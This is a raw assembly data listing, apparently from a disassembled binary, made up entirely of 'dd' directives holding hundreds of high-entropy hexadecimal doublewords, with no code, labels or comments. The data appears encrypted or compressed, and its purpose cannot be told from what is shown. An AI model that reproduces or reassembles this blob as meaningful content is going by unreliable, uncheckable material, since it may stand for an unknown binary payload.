		dd 765C1C82h, 0F004E077h, 7353CE6Dh, 47D23824h,	6803DADAh
		dd 4BCAECD8h, 0F1803855h, 9C02807Ch, 6DAD82CCh,	40A445B4h
		dd 0B9C4914Ch, 0F8A5EF6Ch, 0FDF35409h, 0EA9B0D7Dh, 795CA1F3h
		dd 0AB876D63h, 7A145AB0h, 7A6FDD57h, 13844177h,	5C068F2Ah
		dd 423B1243h, 7D1A738Bh, 0F81BE518h, 38E8D29Dh,	3326588Dh
		dd 6908E88Ch, 0C667A44Ah, 42030D67h, 12DC9F3Bh,	0EDE7735Fh
		dd 57F75641h, 93AFFEB8h, 0F9C6525Eh, 0C3B72212h, 0CA552B2Fh
		dd 86D07E77h, 0A93BE02Dh, 57688162h, 8EE1595Ah,	7A71473Ah
		dd 0B1C33110h, 4D5C4BA8h, 7A1C535h, 477DAB94h, 471AEAD8h
		dd 49E19535h, 5259E9Fh,	12BA066Ah, 24DB03CFh, 4554EA1h
		dd 31AC7AE1h, 6C295289h, 0BCA21296h, 0CA0D8271h, 6F78EC58h
		dd 0B8B9EDFCh, 811D4A07h, 0B706F934h, 0F771604Bh, 62ACCB33h
		dd 0BB0E1636h, 0A65AF412h, 6B1E2EC3h, 1D80A428h, 0DAA2B35Eh
		dd 3AA9C9E4h, 3DD475F4h, 27849895h, 7D66F07Bh, 0CC58D2FDh
		dd 6847B743h, 0D8D34D7Fh, 77DAF14Fh, 8C44D3EEh,	0C77CB541h
		dd 1A81BD21h, 802C530Dh, 0BC5E2D4Ch, 8EB32A94h,	14F600CBh
		dd 496E4B0Bh, 0DAAF7D17h, 44054B6Ch, 37953051h,	0ECEA541Bh
		dd 1FCFB2F5h, 0C645A507h, 15273435h, 0E6792D92h, 4588B04Ch
		dd 0B1123A8Ch, 0DE4C8CBCh, 9CBF6180h, 0F7D84D6Fh, 2C585AA9h
		dd 7D8F0A1Fh, 1E958EBBh, 0FA087557h, 53ACFCE3h,	1E8350E6h
		dd 0C9927873h, 0F76CD2CFh, 0FCD66751h, 0C0B1A3C1h, 4D2D0DF2h
		dd 0BD8B0D15h, 0CD7D1E5Eh, 0D1058DE1h, 76A53C36h, 8AA905ADh
		dd 66A4BCAh, 481977ECh,	136BCBC6h, 0E408075Eh, 0ACC87083h
		dd 9F0104FAh, 7D488294h, 0BE4C69D6h, 0AAA74FDEh, 0FA42FFBFh
		dd 9F3C391Fh, 3341BB9Fh, 96F9D0A8h, 0AE111B52h,	3E8D4D0Dh
		dd 92A0D569h, 4320C6Bh,	0A0907E29h, 1AA200F6h, 52C2CDB3h
		dd 6D63A25Eh, 0FFFF73E5h, 8AB23A1h, 3FC8281Fh, 0FD827F8Ah
		dd 3AB33D2Bh, 0AFEAC9Fh, 29861C08h, 0D9055286h,	5AFC2E9Ah
		dd 7F0FEBEh, 0A7AC271Ch, 92E1C6EFh, 96BD2620h, 0D1D0EB0h
		dd 0D21A934Ch, 39F176Ch, 0D008E851h, 7EAA45E8h,	204BA16Eh
		dd 132F0BCDh, 0ECF0B9EBh, 8326F745h, 1DF7CFAEh,	0F810FF3Fh
		dd 587DDD4Fh, 0E37C4092h, 0A74740A9h, 0F31892DDh, 1561E0EEh
		dd 1EDBF84Ah, 57E0B62Dh, 32D7D9CBh, 0B5A7553Ah,	655E25E4h
		dd 4E2A71FDh, 3D7EDA2Ch, 5BF34213h, 0FB480076h,	0FDCE6BFDh
		dd 91659B79h, 2D548DB1h, 0BA68BFA9h, 0EF2D1B2Eh, 47CC2088h
		dd 763AA8AEh, 4810DF90h, 0C1C32EF0h, 0E36A7A84h, 979E3DA3h
		dd 0D144F2A5h, 0FE6C611Dh, 23134ECh, 0C3629A65h, 0D8A34892h
		dd 0CDA6D4CEh, 6DBE7BCh, 663BA915h, 1D5A84A5h, 0ED6A6126h
		dd 0A931B78Eh, 3155DD9Fh, 0C51F154Dh, 31FB3DB7h, 3431FFD4h
		dd 1F9BF50Eh, 3DBB5BF6h, 9BD5E46Bh, 41B2A715h, 0F154BA4Fh
		dd 0DE4514A0h, 77271F06h, 0C6D5D132h, 0C48DDBE5h, 0E3903446h
		dd 1DAF0EC5h, 6A3EF505h, 87EACAB8h, 272ADBA8h, 137CAB4h
		dd 3783B3BFh, 89273697h, 381D9363h, 17047438h, 0BB894B12h
		dd 0F0492A72h, 0FF3E2CD6h, 0AF62A0D9h, 5E530C52h, 7A3DCB5Fh
		dd 85D9489Eh, 0CB64AAFFh, 1A69A4B8h, 86A1DC0Ah,	0F4834ED3h
		dd 0FF1116E8h, 0BD2FDB0Eh, 5C6E618Bh, 83D899A0h, 10657B26h
		dd 9B03A8E7h, 7A2036C7h, 782CFA6Ah, 50AA51F9h, 11EE6DBDh
		dd 208D4DD6h, 2AAD25B2h, 8377316Fh, 0F613CF52h,	0B5911F2Ch
		dd 196919BFh, 0AA68FFEEh, 19E9DDD6h, 733F499Eh,	21A150A5h
		dd 8CF12AFFh, 55FF9EF2h, 75F80BD1h, 0D5E7AA85h,	0D593A49Ah
		dd 4B5A42D5h, 203965D4h, 387ADF3Fh, 76D006F5h, 0CC6F6CEBh
		dd 4204EDFh, 224BD3D2h,	1CD31E44h, 58EDFB48h, 43AAD557h
		dd 2364B9FAh, 2C2A69Ch,	773BCDA8h, 0ADE14CEAh, 703E95DFh
		dd 9360DF7Ah, 4EEE15F2h, 0A3450608h, 2E2EC7D9h,	5C26F7C2h
		dd 600C54FCh, 10F694ADh, 0C8FA56F6h, 1CCD011Fh,	0A5616979h
		dd 1FBFAA6Dh, 0B70A9C18h, 0E9F22F28h, 60F86127h, 49FB59A4h
		dd 0A440BD89h, 82897344h, 0FB9543C5h, 6A8FCCD7h, 1E813740h
		dd 238E2F76h, 582F0BBBh, 0E154DA9Dh, 0C8786A93h, 46E5A0ADh
		dd 7B34E8FDh, 40F88103h, 0ABE85A56h, 79A0DC73h,	67347D9Eh
		dd 5929499Ch, 0D97E8F28h, 163A50FFh, 0B98C8346h, 2204AB0Eh
		dd 0BB5CA8CDh, 51AD6FB6h, 22AFC202h, 291C5819h,	7C768F60h
		dd 4C3DAF3Fh, 91528A05h, 62F4897Eh, 2799E89Bh, 97098C8Eh
		dd 59B46681h, 5EF607BDh, 0D896804h, 0DF84A376h,	0DEEE3EC0h
		dd 0ED80C090h, 42E83DC8h, 0DD4D0D15h, 49F072E9h, 4566084Bh
		dd 0E2CD0495h, 9BB41439h, 0F27520D2h, 230CB235h, 2E6B0446h
		dd 6F89147Eh, 0C657D014h, 0BA104E6h, 8C431EE8h,	0C69D7E34h
		dd 9695473Ah, 8EB08F6Bh, 99C85325h, 6F46CE98h, 0D378C831h
		dd 94B96A81h, 6C0ADBEEh, 83E8E7BAh, 0EFBBC0AEh,	1ACAAE51h
		dd 12C01A70h, 0E381980Eh, 0DA6A2791h, 8CE0E111h, 0A6F50B59h
		dd 4EB903C0h, 0D45483DFh, 42847F92h, 1A578F3h, 0BAA3A2F4h
		dd 3E368AE8h, 0ED4EC656h, 3BB96817h, 3732C014h,	115A598h
		dd 9A3E8A5h, 0FFAAEC2Ah, 32AB265Ah, 0FB615897h,	66C4935h
		dd 8E91B5F2h, 9F0728EDh, 7B6CAA88h, 0D62D4129h,	49E974C7h
		dd 0F5B77788h, 6AB5CD0Ah, 0EAA8CD1Dh, 4A5780D0h, 6A6194E7h
		dd 83CC8191h, 3C83E0E1h, 73BE98E1h, 1E5BA9DCh, 36BA83C8h
		dd 0DEC45B52h, 0CE253DB7h, 0E74AB924h, 0B18517B3h, 0A6EFBF3Bh
		dd 0C0109D2Eh, 92B969A8h, 530C31E6h, 690F05B8h,	0B3AD850Ch
		dd 4D3D12B6h, 78FCE891h, 0FB819C6h, 0D6B79AD1h,	0B858A187h
		dd 4BFE20D0h, 0BB205855h, 24FC748Bh, 2BAD45h, 9F582A7Ah
		dd 5A1B5B03h, 0B2258344h, 110C553Fh, 0DC033E5Bh, 0A4305B21h
		dd 29D29E23h, 5541C024h, 4C6F6816h, 1B9314A3h, 9CEF58E5h
		dd 0EBB9FCDDh, 0C0BE0C76h, 129E6EC1h, 47C4328Bh, 0AD68337h
		dd 2C2F1914h, 906D66DCh, 0B7B190CEh, 7F048F7Ch,	6283103Ch
		dd 9A8DA85Fh, 713FBF59h, 47606D80h, 0BCBF80F8h,	0CF4ABA79h
		dd 943D73F4h, 0B3CAC63Dh, 658E0870h, 0C7F1AFE2h, 0DB4FA8A7h
		dd 0D58E2257h, 13E51A93h, 0D0CC1335h, 82FBAA42h, 10946462h
		dd 430A3D60h, 46BB72F7h, 0B8F86396h, 5D9B6EFFh,	29BD5949h
		dd 56C8B8Ch, 31847h, 7811F02Dh,	2AFB38C6h, 45CEDE5Ah, 8BEA4734h
		dd 0EEB04EAAh, 291C0B60h, 0C6AC1620h, 0B9BAF2B8h, 23384CD2h
		dd 6BC4404h, 87E1E89Bh,	0BCA7C18Ch, 0BA3D7223h,	8784CA48h
		dd 8856E135h, 0B3A482D7h, 0C937E510h, 4BB122EBh, 780A8FD4h
		dd 8CDEC892h, 0E40EE342h, 0EB7C259Dh, 0A0273342h, 1AB2C5F4h
		dd 4E16F08Ah, 3F37970Fh, 91B7E968h, 0F2A43F19h,	16B53BEBh
		dd 28EBC0B4h, 228C5450h, 0F6EF6EDCh, 0DC61C7C9h, 10138D30h
		dd 5E2799D9h, 0B5057690h, 19B4846Eh, 11DC3E58h,	37F6EE81h
		dd 0EA6EBEDAh, 44B8E762h, 0CA052C21h, 0ACDDA452h, 0AEDB751Dh
		dd 0DCD8602Bh, 95E5F384h, 0B9CFC249h, 8E183294h, 0E6057FD0h
		dd 5C15889Fh
		dd 3B188603h, 54E9971Ah, 87DC9AD4h, 6537FB7Ch, 0F2976C7Dh
		dd 2E145473h, 0AC766209h, 4135AEBFh, 0AE1D2249h, 3D0D8C39h
		dd 0B645BE1Dh, 0F57130E7h, 8B3681C7h, 0DC60D9FDh, 420D4FEFh
		dd 0BDF963E9h, 0C41338CEh, 0E5ED36Bh, 2ACD74D0h, 414C810Ch
		dd 8E67F4C6h, 0E7972384h, 8CFBAD95h, 72AB0DFh, 0BBCE0A75h
		dd 36EA8979h, 0FB1656D5h, 0A2070013h, 0C5D6DAF2h, 79539545h
		dd 0DB746353h, 0A52631E4h, 0C6F100BEh, 0B0133C92h, 9F91B77Dh
		dd 57676319h, 69231B09h, 550CE38Ah, 9D90F282h, 0F827F27Eh
		dd 78294B06h, 0A803C6A3h, 0EB17DF40h, 3C5701FEh, 750007BDh
		dd 42612D29h, 138369BBh, 10B31BA6h, 0ACA00D82h,	0B0CF5B93h
		dd 676C270Eh, 0E66523B2h, 9EAB3A2Dh, 7E0F654Ch,	4B6E75C0h
		dd 0B2DA0D68h, 0D9F0721h, 480ABD1h, 48580662h, 8AE1273Fh
		dd 86E6C826h, 99FB743Dh, 0B0539B8h, 5E65A55Dh, 0B799535Bh
		dd 0A7E014F7h, 257DED4Bh, 0AEC5F79Dh, 7CBF261Bh, 2925BA6Fh
		dd 44268BD6h, 0B39765AEh, 0E64443FCh, 0B189EA1Eh, 40D20595h
		dd 0E3AD3213h, 0B361E7D6h, 3673212h, 7E6D90D2h,	0B349ADF9h
		dd 4BB5C81Ah, 0D976FED0h, 273F9A80h, 6B66FC9Fh,	488A3FC7h
		dd 3F787DA4h, 6F2CDACAh, 528D50Bh, 5C9A7B9h, 5800C4D5h
		dd 0BE8751F9h, 0CC6FF3CFh, 0ADD73560h, 0C62E94A4h, 5E87D1A3h
		dd 0F4B33E8Bh, 0F7D69646h, 0E03167C6h, 5B04F5BBh, 8F1CD1E4h
		dd 0AFCFC92Ch, 91CCD1B2h, 100CCF44h, 0A5FCC5C8h, 0DD9E64CEh
		dd 2BB93030h, 0F6C31759h, 99444E30h, 0F2068556h, 2F206F26h
		dd 0A7E68487h, 2CD64F24h, 0A6DC4343h, 20173A68h, 0A4DD740Bh
		dd 77AC7F09h, 0F7E47B94h, 2BC6BD7h, 1D0AFD0Ah, 0E23563EAh
		dd 0E328EBF4h, 834BF8CDh, 0E423AC55h, 760617F2h, 67A51BDAh
		dd 0C930E8B3h, 20077B51h, 9320A1F0h, 6ABF0CADh,	66ABA760h
		dd 9D36983Ah, 407177CDh, 0C0F9B07Fh, 0EB3EBCEEh, 1FAA123h
		dd 55BA2842h, 155B5001h, 0BAF1EF4Ch, 0C40069C2h, 5E376209h
		dd 90C0C189h, 0BE06170Bh, 22EC0404h, 37D276F8h,	28AB60A8h
		dd 71AF7EB9h, 108D052Dh, 9A8DE5AAh, 67BD438Dh, 1BD6191Dh
		dd 0B801706h, 0E4890ACEh, 4D2E4E2Ch, 9622E2F7h,	39C141A9h
		dd 0DFB2ABADh, 84D7E3E5h, 0C521E1FBh, 0C799ABC1h, 66385255h
		dd 0D25054E3h, 8F2CB580h, 510A5F5Dh, 6AE79FBAh,	0A37743AFh
		dd 0E1E06861h, 5D6CDF1Bh, 8E6B1BCh, 815A3876h, 0A0CAAC5Ah
		dd 0ABD7A135h, 83B304CAh, 1F23921Eh, 3C6738BFh,	0B6D27764h
		dd 0E92DBB47h, 0CC52BAE7h, 396F10F9h, 434674D6h, 0E1E741E2h
		dd 5DDF8D3Bh, 35970A4Dh, 4EC46411h, 0D852B8E2h,	7AB09C8Dh
		dd 451DB373h, 0FF574181h, 8687FC72h, 0B791AE8h,	0F5360C3Dh
		dd 3F2F9D57h, 659696A2h, 21A7FCF9h, 0FBAF157Ch,	1EA6361Bh
		dd 0F3ADC8DAh, 8C133E1Ch, 11334F01h, 0AB99C5Ch,	71BD8673h
		dd 2FA6AE3Ch, 5CAB82B1h, 2AF9642Bh, 0F08CBD97h,	36F6F387h
		dd 0D6B91EE2h, 0CAB76242h, 0DABEAE7Fh, 0AFE01440h, 0B1403759h
		dd 23B9B90Dh, 9241B569h, 8C91C7C1h, 0D680D205h,	6AFDCB88h
		dd 0CDCB15C2h, 715F0ED0h, 0E29F3589h, 0B5C4E72h, 78111336h
		dd 781DDCECh, 4850C47Eh, 87326252h, 0B0E99B0Ch,	14CFC93Fh
		dd 585BE58Bh, 3E29C11Eh, 8F9AA951h, 0DF6A30F0h,	2A66E1CCh
		dd 0FFCBD8Eh, 0A5C7AD75h, 75BBB224h, 0CFF5D162h, 0A717ACA0h
		dd 0DD7946D0h, 10A834D3h, 3813B3CBh, 0B4E9B441h, 2947A6F3h
		dd 6C320DBFh, 9C144A68h, 2B46F4FAh, 31189500h, 0DD148F76h
		dd 53206FADh, 0D40B46AEh, 0BE3F4A34h, 0C28C855Dh, 719C8970h
		dd 0F361DAAFh, 68B8035Dh, 0B32800D5h, 9F164289h, 0CBB6A819h
		dd 0BFA34652h, 69C58D59h, 5FEB6882h, 0ACCBA30Ah, 32A8BE35h
		dd 184F27A0h, 33D2C06Ch, 12AA7500h, 6DD2B189h, 0CE2E5FB3h
		dd 546A20Ch, 16B8A532h,	1BFCF4EDh, 0B24C32F3h, 5162055Dh
		dd 1C719612h, 4ADC83B3h, 0DF20A8A0h, 0B528E682h, 17F4005Ah
		dd 3B696ACh, 0EB38C117h, 0D5EBCA1Eh, 0BA449DDFh, 0FF1D326Ah
		dd 47B9B182h, 178ABEBCh, 25BD2FDAh, 0C7BCF060h,	4CB18E20h
		dd 7D4FF104h, 0B0AC71ABh, 0DB11BA26h, 0AA7855AAh, 48D9C163h
		dd 0B115D461h, 5A0184DFh, 45969A5Dh, 25331A4Fh,	0C0A6BB31h
		dd 0FC85AB38h, 0BFDF5278h, 0FE97356Ch, 0EA24EBC8h, 0A449FF3Ch
		dd 0F8398CE4h, 5ED37E76h, 0E427AAB7h, 1035F8F9h, 0B9059454h
		dd 5580BCD7h, 66F7CFECh, 3DA237E3h, 4342CE02h, 2FDA7B09h
		dd 43AE833Ch, 6F31EEECh, 0F74A0430h, 0BB3E273Fh, 68D8DCE4h
		dd 6966E04Eh, 1030A722h, 2EF56F61h, 0C4C712C4h,	87A3369Ah
		dd 0F2CA6875h, 0FE241762h, 0DC9D8D70h, 0BA6D366h, 0C1BBE2B7h
		dd 1893C875h, 0C0F13559h, 84AF5194h, 0C59DF13h,	153B98A0h
		dd 0ABB8C6B7h, 9D4F1230h, 0F1B84731h, 0D3FC11A9h, 0AB5481DDh
		dd 888B1777h, 45BBB183h, 86E93C77h, 0D2342981h,	77672805h
		dd 0BF8DF0C7h, 98E9580Dh, 18B5C4A5h, 85065BD2h,	775D9E18h
		dd 0AACC28Dh, 914F86CFh, 0BED2D418h, 8A94DB3Bh,	2A38AA82h
		dd 0DF223CE5h, 3C89E3h,	0B8395646h, 27C62143h, 0A0C0AD6Ch
		dd 0EE7DBDA9h, 4A5A5F6Ah, 5C0E114Dh, 0A3A71F0Ah, 720442CFh
		dd 845A28Fh, 85DA790Dh,	0E7416ACh, 5433696Eh, 0B2F5F311h
		dd 0AD78CBDh, 41984BA1h, 81F71743h, 0B4F281ECh,	0EA47BDF9h
		dd 7118DAEEh, 2910364h,	9E6B8BF4h, 0CB3739A1h, 7D26EAAFh
		dd 8E12D14Bh, 0C8899CF6h, 0CC358F6Dh, 1887B85h,	676C16BEh
		dd 4E8A5BAFh, 0EA00B820h, 0D929B141h, 8352D16Dh, 0CC3FB86Ah
		dd 983CDF39h, 0D15B9F44h, 0F16F2473h, 68691BBCh, 5A8062B3h
		dd 5B3C9A40h, 70C0621Ah, 5983CBECh, 9E2FAA7Eh, 0EAC38668h
		dd 0FB9B79DFh, 0B4ACF71Bh, 0B096F19Ah, 550CBA18h, 838B0B70h
		dd 0B9F57DC6h, 1A3CCD18h, 9B9ABF0Dh, 4C07231Fh,	0A82216ABh
		dd 51CE76F6h, 0A8E6C156h, 2B7DBEADh, 0F52C1257h, 73773530h
		dd 0FED743EDh, 58B2953h, 0A9DD4B9h, 9E90FF4Ah, 834FE2Bh
		dd 7E51FEAFh, 2B82C9Bh,	0D65B7983h, 0E26C4254h,	0EE0CE9E0h
		dd 263DC884h, 2B628EC3h, 91BED5B3h, 0FC35B578h,	0FFBA2D00h
		dd 217530B2h, 3421BFEh,	3E87B2CAh, 3FA67387h, 63053D99h
		dd 0D45976ACh, 8CBE9296h, 3B886ADCh, 0D2B9490Bh, 0B3D99E87h
		dd 6A18FB56h, 28C6607Ch, 5015AF91h, 5C0FB3AEh, 0CDC16F38h
		dd 45597648h, 11AF832Ch, 0CAB15F93h, 4607A82Bh,	0DAF8D560h
		dd 298A7AC7h, 535559C7h, 1CB24519h, 8CCC8647h, 0F69DFA4Dh
		dd 0B1BFED94h, 261D3BAFh, 0DE6F4861h, 47A49B82h, 0ACF3163Ch
		dd 6D09AB0h, 93BFCD48h,	0B5C42BBBh, 981984EEh, 0FB5FE5DCh
		dd 927067BFh, 3C5761F0h, 273A5163h, 80981BF0h, 0F718783Eh
		dd 0A41381D5h, 36B16EEBh, 5C1F643Ah, 4884B2Eh, 84EFE060h
		dd 0EDA95FA1h, 0F6A5D8B3h, 0EAD76FD8h, 75050315h, 0EFA32DF2h
		dd 84F8CE2Eh, 8DEE3ADh,	72D9DF0Bh, 0D2873D7Fh, 0E9C60C72h
		dd 0ED0C0B62h, 4F1F1984h, 882336A8h, 2CCA3708h,	75008253h
		dd 0EC8E7DC8h, 3066B6F2h, 5643B260h, 69EC408Ah,	0CEF87710h
		dd 0AA36A9CDh, 9606DAE0h, 3845D59h, 9D015B50h, 8B86C80Ch
		dd 0CBB3E8FBh, 7A53DFA7h, 8D3DDA67h, 1F687BDh, 3E17FA9h
		dd 0A5D96E88h, 4B79D95Ch, 9399E89Fh, 41C23841h,	56DD2EDDh
		dd 3BE34879h, 17B774C4h, 7187A6BCh, 0B5ECB42h, 3C54433Bh
		dd 670BB4Dh, 0B207C606h
		dd 0F691180Bh, 92BB6AF0h, 34B03B0Ch, 3EC12E14h,	0B752EFF3h
		dd 0B3D0F728h, 0C4365472h, 2D6F60CCh, 416EDACAh, 0CB216996h
		dd 0DDB172E3h, 7CCC7615h, 5CA153D0h, 0A25893D5h, 0CF74204Dh
		dd 785D0D6Eh, 0F319FC2Ch, 0E2C6C960h, 0F52F1B93h, 0A35B1163h
		dd 0E55E2A4h, 0B690E6E8h, 0F72791F8h, 0C911B23Fh, 498E9557h
		dd 877A7B99h, 0E8C7FA0Ah, 20618481h, 373868C2h,	0FE90CEA7h
		dd 8C611F45h, 1181D8F4h, 7E8D4423h, 0AB50AD62h,	67F051ABh
		dd 0AC61FEDh, 0CB5ABFE9h, 5CB9EE97h, 0EE517DA4h, 8DC92C36h
		dd 40761D85h, 18BAEDA2h, 644B1EDAh, 14C9FB88h, 6E4D2ED5h
		dd 0AB71C48Ah, 0C5753583h, 86C8B7BAh, 0D52FD388h, 0DA30E6C6h
		dd 0F62DB532h, 8908F685h, 8E59F10Bh, 0ECF97694h, 14BB47C1h
		dd 0C4F573A1h, 1ED3F316h, 0BE0CA8A2h, 0EEC16153h, 0C955E09Eh
		dd 0BEAD2E36h, 2BD30B7h, 0A3BD30A0h, 2FB301A2h,	2D25FAB0h
		dd 26B09858h, 0D9311FB8h, 842208E7h, 3FC79ADAh,	0EB580D46h
		dd 0D69EE300h, 0E572CBD9h, 98AE031Eh, 0AC31282Eh, 0AA66B1B0h
		dd 0C77DCCA6h, 94C7E218h, 81CCE07Ah, 5B10E5A2h,	469F6EFEh
		dd 0EF05A88Bh, 0D0FD0211h, 9004419Fh, 0FB4D1B0Fh, 0DAF8289Eh
		dd 8B8C8C40h, 126B9123h, 0B3BF4FDDh, 0D31407E1h, 0AC82B790h
		dd 0FB07E16Fh, 8C28CBB7h, 93F4453h, 80BEB4AFh, 7CB7B145h
		dd 433F54C2h, 20E099A1h, 4BF5B75Bh, 539382BAh, 59A2FA5h
		dd 8ED23F24h, 2148337Ch, 89C1732Bh, 0DB3CA743h,	520E3F63h
		dd 5F00D8E3h, 4F8DC675h, 95DFBA8Ch, 0B659643h, 2CBD7168h
		dd 0C58A813h, 1A7B6B19h, 65DBCC85h, 4E8290CAh, 0FC2AAAF9h
		dd 0C09042C1h, 685A56E6h, 0B6BD42F6h, 2EA732BEh, 96E7AF5Bh
		dd 0EEF7A94Bh, 0D1A0C875h, 21EEF6A6h, 5760785h,	0D0399A8Eh
		dd 20871B16h, 0E1622BD5h, 0B787A3A9h, 928D7A9Dh, 0A76E87E0h
		dd 7EA93C5Ch, 0AD7B8491h, 5204D91Bh, 88A0F70Ch,	0C44AE44Bh
		dd 5EA36753h, 11DD72E0h, 623A5303h, 2FE66B15h, 55BCC19Ch
		dd 0ACDE8AAh, 0FFC96123h, 19DB84C0h, 6734F3B0h,	61A0C049h
		dd 771F7888h, 0CE52A2BCh, 0ABAEAFBDh, 0A91B9477h, 3C6AA7ADh
		dd 36381AF6h, 2688846Ah, 64313697h, 1523BDFEh, 0F20B1B4Ah
		dd 9D926736h, 0CB638E8Eh, 68ECB05Dh, 81ADD842h,	0CC68D6A9h
		dd 4DFC7484h, 0B99844D7h, 0C61C549Bh, 967929C1h, 87BA76F2h
		dd 7C4C8F44h, 22E8D545h, 0A235D7C9h, 21F403CDh,	34462A1Ah
		dd 0E19F9A5Fh, 0CAF7FED1h, 73DC82D3h, 4B77A615h, 0A1603777h
		dd 0E8F850BAh, 22C07D06h, 5C33B89Dh, 81625D9Fh,	0C35D1EDCh
		dd 38C10536h, 840AC5C0h, 0FF8FAA76h, 2929B10h, 3E4C012Ah
		dd 74D04123h, 0B78A5FEDh, 0DF2315A4h, 6D9AA23Dh, 0DBDEE3F7h
		dd 0A254CF52h, 23555107h, 55BFB7E8h, 3884638h, 0DC81876Fh
		dd 0ED0A2D7Eh, 0CEE436BDh, 0D61C2365h, 0FE0DBE35h, 70FE188Fh
		dd 91F896D8h, 275696A1h, 92B7D9D1h, 29681Bh, 372E281Fh
		dd 552C17DAh, 631E3CF2h, 0B6D721D1h, 7F34454Bh,	3B2D9E64h
		dd 0D52BFE46h, 0E019014Ah, 2DFBC21h, 0E101E03Eh, 0C74D164Dh
		dd 0BCA62507h, 0A740FF5Dh, 0E47EA24Dh, 8C219BCAh, 2679E984h
		dd 84D66DEDh, 509CE28Dh, 688B1BB1h, 0D184EA3Ch,	0E7608534h
		dd 0E6A55C30h, 7D8A412Ah, 33AC7C48h, 24D6A16Fh,	0F1B9A1B5h
		dd 4FE976C4h, 5E41D412h, 0BD330620h, 4E9E73DFh,	6AEEAF97h
		dd 7CBFF23h, 0F31E730Ah, 3B1F96C2h, 73DA5177h, 417CD053h
		dd 55539AAEh, 95408051h, 0D138E509h, 0CADD5F00h, 69F2575Dh
		dd 0DB3E7496h, 724E6FF6h, 38045DC6h, 900961B5h,	72D4618Ah
		dd 0A41CC654h, 8E64D4Ah, 9E0C3624h, 0D003FBA3h,	3E36037Bh
		dd 28B4FACCh, 4453DEA2h, 7F8E4A41h, 0BC97E269h,	0BCE85D98h
		dd 0BE6CA91Bh, 753BA264h, 733D776Fh, 1A135996h,	471F3DBCh
		dd 0C809E2F9h, 8BD7079h, 89BE4AA3h, 7B50EDA1h, 0C20C7E20h
		dd 167BC0B4h, 0B5DC12EFh, 175587h, 153D326h, 99E0509Bh
		dd 31408866h, 30A688D8h, 8E334D3Bh, 0B57FF153h,	0EF854BE7h
		dd 0C736B7E4h, 4D0FAC6Ch, 0AD75A763h, 26418A8h,	10A84F9Eh
		dd 779ACA84h, 0D8FA5FA5h, 64B0B693h, 0E375DAE9h, 22C377B2h
		dd 0C5900395h, 95DB7E64h, 0A6FEC071h, 0B56D54DAh, 0A6B16F5Ch
		dd 2137F2DDh, 0EAB75AB5h, 1F82C029h, 6EF2404Ch,	768AC3Bh
		dd 0F6FD1674h, 26A86508h, 80A7A648h, 0F67FC387h, 572227DAh
		dd 205162DFh, 1448BB7Eh, 7FB1EBBEh, 80D4E66Bh, 6235F3F1h
		dd 1A013D21h, 0CB8BF260h, 2321817h, 0B82D9540h,	0DB248469h
		dd 0BA9837C3h, 0BB90B337h, 0B9DF531Ch, 56298E3Ah, 62E3BE86h
		dd 0BCFD233Eh, 854001EEh, 0B2FAA644h, 0EF42DC43h, 0DDE95CCBh
		dd 56025AA6h, 0A56321C7h, 3C4CB823h, 0DB31626Dh, 12F5885h
		dd 46466E25h, 0D363AB3Eh, 1FC6E13Eh, 0F3FFA77Dh, 66F46EBh
		dd 8E187BF8h, 0BD578EFFh, 9730E442h, 66E899ADh,	0C554E183h
		dd 3FAC70B2h, 8A43B9FCh, 36DDF5C1h, 353E4E91h, 0F41CA855h
		dd 4827FEC3h, 0FB22705Bh, 99C2516Ch, 89D6FEF3h,	26E4B260h
		dd 0A431B95Dh, 0C6F5D00Bh, 0D8F3E5E2h, 0CF7EE9CEh, 0C8B84CDEh
		dd 0AE260463h, 0EF890779h, 89F67E55h, 1E424F95h, 0D7AC2E81h
		dd 0AEA64AE5h, 3E0E38Ah, 0DC163B21h, 2D959553h,	0BA71E394h
		dd 0F7B02FE9h, 88515EC9h, 0AFC6E030h, 48476A84h, 56AB90D6h
		dd 0DE875CE8h, 9605D890h, 0EEA5683Ah, 0D59FAF2Bh, 0AC6A5799h
		dd 0A05F2CAAh, 0A1B4F73Bh, 7E135C89h, 81DB2BC9h, 59E39100h
		dd 4EFA3829h, 0DF67562Ch, 0FB69787Ah, 0D2D37260h, 2764CF6Ah
		dd 0F8AD16C0h, 7123566Eh, 2F626F03h, 0EF164A85h, 0E3619407h
		dd 2313FD25h, 448079F7h, 83278864h, 0AFBFC34Ch,	3ACFF8FFh
		dd 0D45D29ADh, 0CFC4A5A3h, 0DE759AA6h, 9B9766F0h, 0C2BB8753h
		dd 33B79067h, 79BF56D5h, 0FD1EAE2Dh, 0D12C9DD3h, 0E80458B4h
		dd 2ACCD16Fh, 22899372h, 0DAA5DF73h, 5C669BC8h,	89BF1F3Dh
		dd 2C2B68FDh, 82F947DEh, 0A1BB6AF4h, 9B5131A4h,	0E403CA6h
		dd 1A07895h, 0C0A79D29h, 0A81484C9h, 4FE08A07h,	0D3B99680h
		dd 0BE2CC7FFh, 0CA5D0A11h, 0AF8D9C25h, 0E4BA30F7h, 9144086Ch
		dd 0EEC9B5A0h, 77429251h, 3CB048B7h, 52AA00E5h,	0CD0C665Bh
		dd 9AA0924Ah, 460F5920h, 60DC5AEEh, 343F3CD1h, 73D5C0E6h
		dd 6AD429D7h, 0B708FC34h, 4B6A58AEh, 0C17FEA04h, 0BABFFAEEh
		dd 3EDF7F6Fh, 148B1445h, 0F55C17A1h, 0D46FDF40h, 7D61EB82h
		dd 73C7C73Eh, 2149017Dh, 0E15B0433h, 0F5E5C08Ah, 0D98C69A4h
		dd 0EA9DE107h, 497B8D7Ah, 37E3787Ah, 8AA29801h,	0D5FC098h
		dd 0EA4824Dh, 65D23411h, 0A905AF63h, 0E46C6050h, 7BE353CBh
		dd 0FE08F0B6h, 0F9474h,	0D2E1BC32h, 9C564075h, 4F186457h
		dd 0DEFCCA4Ch, 2A34104h, 3D510227h, 0D475AF55h,	926A7D34h
		dd 0FC9E868Bh, 297E6FAh, 0FD8668CAh, 5DD48BF0h,	68D4B606h
		dd 3563ACE3h, 5B20DB5Fh, 702D467h, 8491DD27h, 0A213CE84h
		dd 0FC935927h, 5527C081h, 8DE8774Fh, 80E3B3E7h,	8AA2F3DEh
		dd 0D9BB8312h, 0A20AB16Ah, 1A06F1BEh, 62AFC684h, 60A2DFAFh
		dd 6963F19Ah, 9EBD0007h, 85B806E9h, 0E89DAA89h,	0CCD6ED7Fh
		dd 67E34133h, 33E14C84h, 0EC95B4ABh, 0A69CC801h, 4D86BE2Dh
		dd 82A86BACh, 0CE61DB2h, 0EFC1180Dh, 7E26F343h,	0E466C876h
		dd 0A9777E10h, 0A2F0F17Ch, 509270F4h, 5967EAD4h, 26A2AD34h
		dd 46F8CF15h, 9FD8FC0h
